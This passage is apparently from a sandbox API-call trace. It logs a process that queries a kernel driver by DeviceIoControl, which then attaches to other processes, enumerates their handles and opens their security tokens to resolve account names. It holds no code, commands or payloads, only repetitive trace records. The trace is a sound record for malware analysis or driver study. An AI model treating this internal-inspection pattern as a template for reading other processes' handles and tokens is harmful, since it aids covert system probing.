lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.344] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.344] PsAcquireProcessExitSynchronization () returned 0x0 [0133.344] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880050005d0) [0133.345] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0133.345] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.345] PsReleaseProcessExitSynchronization () returned 0x2 [0133.345] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0133.345] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.345] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0133.345] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.345] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.345] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0133.345] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.345] PsAcquireProcessExitSynchronization () returned 0x0 [0133.345] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880050005d0) [0133.345] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0133.345] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.345] PsReleaseProcessExitSynchronization () returned 0x2 [0133.345] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0133.345] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.345] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0133.345] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.345] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.345] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.345] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.345] PsAcquireProcessExitSynchronization () returned 0x0 [0133.345] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880050005d0) [0133.345] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.345] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.345] PsReleaseProcessExitSynchronization () returned 0x2 [0133.345] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0133.345] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0133.346] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.346] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.346] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.346] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0133.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.346] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0133.346] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.346] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0133.346] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.346] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.346] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.346] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.346] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.347] CloseHandle (hObject=0xc8) returned 1 [0133.347] CloseHandle (hObject=0xc0) returned 1 [0133.347] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.348] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.348] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.348] PsAcquireProcessExitSynchronization () returned 0x0 [0133.348] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880050005d0) [0133.348] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0133.348] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.348] PsReleaseProcessExitSynchronization () returned 0x2 [0133.348] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0133.348] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.348] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0133.348] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.348] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.348] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.348] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0133.348] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.348] PsAcquireProcessExitSynchronization () returned 0x0 [0133.348] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880050005d0) [0133.348] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0133.348] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.348] PsReleaseProcessExitSynchronization () returned 0x2 [0133.348] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0133.348] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0133.348] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0133.348] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.348] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.348] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.348] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.348] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.348] PsAcquireProcessExitSynchronization () returned 0x0 [0133.348] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880050005d0) [0133.348] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.349] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.349] PsReleaseProcessExitSynchronization () returned 0x2 [0133.349] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0133.349] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.349] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.349] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.349] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.349] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0133.349] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.349] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0133.349] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.349] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x12 [0133.349] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.349] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.349] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.349] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.349] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.351] CloseHandle (hObject=0xc8) returned 1 [0133.351] CloseHandle (hObject=0xc0) returned 1 [0133.351] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.351] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.351] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.351] PsAcquireProcessExitSynchronization () returned 0x0 [0133.351] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880050005d0) [0133.351] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0133.351] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.351] PsReleaseProcessExitSynchronization () returned 0x2 [0133.351] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0133.351] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.351] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0133.351] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.351] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.352] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0133.352] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.352] PsAcquireProcessExitSynchronization () returned 0x0 [0133.352] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880050005d0) [0133.352] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0133.352] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.352] PsReleaseProcessExitSynchronization () returned 0x2 [0133.352] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0133.352] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.352] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0133.352] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.352] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.352] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.352] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.352] PsAcquireProcessExitSynchronization () returned 0x0 [0133.352] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880050005d0) [0133.352] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.352] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.352] PsReleaseProcessExitSynchronization () returned 0x2 [0133.352] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0133.352] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.352] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.352] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.352] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.352] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0133.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.352] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0133.352] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.352] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0133.352] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.353] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.353] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.353] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.353] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.354] CloseHandle (hObject=0xc8) returned 1 [0133.354] CloseHandle (hObject=0xc0) returned 1 [0133.354] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.354] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.354] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.354] PsAcquireProcessExitSynchronization () returned 0x0 [0133.354] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880050005d0) [0133.354] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0133.354] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.354] PsReleaseProcessExitSynchronization () returned 0x2 [0133.354] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0133.355] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.355] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0133.355] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.355] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.355] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0133.355] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.355] PsAcquireProcessExitSynchronization () returned 0x0 [0133.355] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880050005d0) [0133.355] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0133.355] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.355] PsReleaseProcessExitSynchronization () returned 0x2 [0133.355] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0133.355] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.355] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0133.355] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.355] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.355] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.355] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.355] PsAcquireProcessExitSynchronization () returned 0x0 [0133.355] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880050005d0) [0133.355] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.355] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.355] PsReleaseProcessExitSynchronization () returned 0x2 [0133.355] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0133.355] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, 